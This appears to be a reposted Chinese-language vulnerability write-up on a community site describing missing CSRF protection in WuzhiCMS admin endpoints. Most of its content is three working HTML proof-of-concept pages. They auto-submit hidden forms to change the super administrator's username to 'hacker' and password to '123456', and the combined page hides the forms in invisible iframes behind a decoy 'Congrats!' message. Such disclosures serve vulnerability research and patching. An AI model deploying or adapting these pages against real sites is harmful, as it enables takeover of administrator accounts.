当超级管理员(uid = 1)登录时,有2个重要的POST方法没有CSRF保护,可以分别更改他的用户名和密码。这可以通过欺骗超级管理员登录时打开2个页面来实现。
poc1.html(将用户名更改为'hacker')
<!DOCTYPE html>
<html>
<head>
<title> CSRF Proof Of Concept - Change Super Admin Username</title>
<script type="text/javascript">
function exec1(){
document.getElementById('form1').submit();
}
</script>
</head>
<body onload="exec1();">
<form id="form1" action="http://localhost:8008/wuzhicms/index.php?m=member&f=index&v=edit&uid=1&_su=wuzhicms&_menuid=30&submit" method="POST">
<input type="hidden" name="info[username]" value="hacker" />
<input type="hidden" name="info[email]" value="xxx@xxx.xxx" />
<input type="hidden" name="modelids[]" value="xxx" />
</form>
</body>
</html>
poc2.html(将密码更改为“123456”)
<!DOCTYPE html>
<html>
<head>
<title> CSRF Proof Of Concept - Change Super Admin Password</title>
<script type="text/javascript">
function exec2(){
document.getElementById('form2').submit();
}
</script>
</head>
<body onload="exec2();">
<form id="form2" action="http://localhost:8008/wuzhicms/index.php?m=core&f=panel&v=edit_info&_su=wuzhicms&_menuid=20&submit" method="POST">
<input type="hidden" name="form[password]" value="123456" />
</form>
</body>
</html>
或者我们只制作了 1 页 POC 以使其易于攻击。
poc.html
<!DOCTYPE html>
<html>
<head>
<title> CSRF Proof Of Concept - Put Them Together</title>
<script type="text/javascript">
function exec1(){
document.getElementById('form1').submit();
setTimeout(exec2, 3000);
}
function exec2(){
document.getElementById('form2').submit();
}
window.onbeforeunload=function(){
return "please wait";
}
</script>
</head>
<body onload="exec1();">
<h3> Dear User </h3><h4><div id='r3'> Congrats! </div> </h4>
<form id="form1" target="if1" action="http://localhost:8008/wuzhicms/index.php?m=member&f=index&v=edit&uid=1&_su=wuzhicms&_menuid=30&submit" method="POST">
<input type="hidden" name="info[username]" value="hacker" />
<input type="hidden" name="info[email]" value="xxx@xxx.xxx" />
<input type="hidden" name="modelids[]" value="xxx" />
</form>
<form id="form2" target="if2" action="http://localhost:8008/wuzhicms/index.php?m=core&f=panel&v=edit_info&_su=wuzhicms&_menuid=20&submit" method="POST">
<input type="hidden" name="form[password]" value="123456" />
</form>
<iframe name="if1" style="display: hidden=" width="0" height="0" frameborder="0"></iframe>
<iframe name="if2" style="display: hidden=" width="0" height="0" frameborder="0"></iframe>
</body>
</html>
感谢您的来访,获取更多精彩文章请收藏本站。
© 版权声明
本站网络名称:
孤勇者社区
本站永久网址:
https://www.gyzsq.com
网站侵权说明:
本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ324470778删除处理。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
THE END
喜欢就支持一下吧
相关推荐
评论 共1条
欢迎您留下宝贵的见解!
- 最新
- 最热
只看作者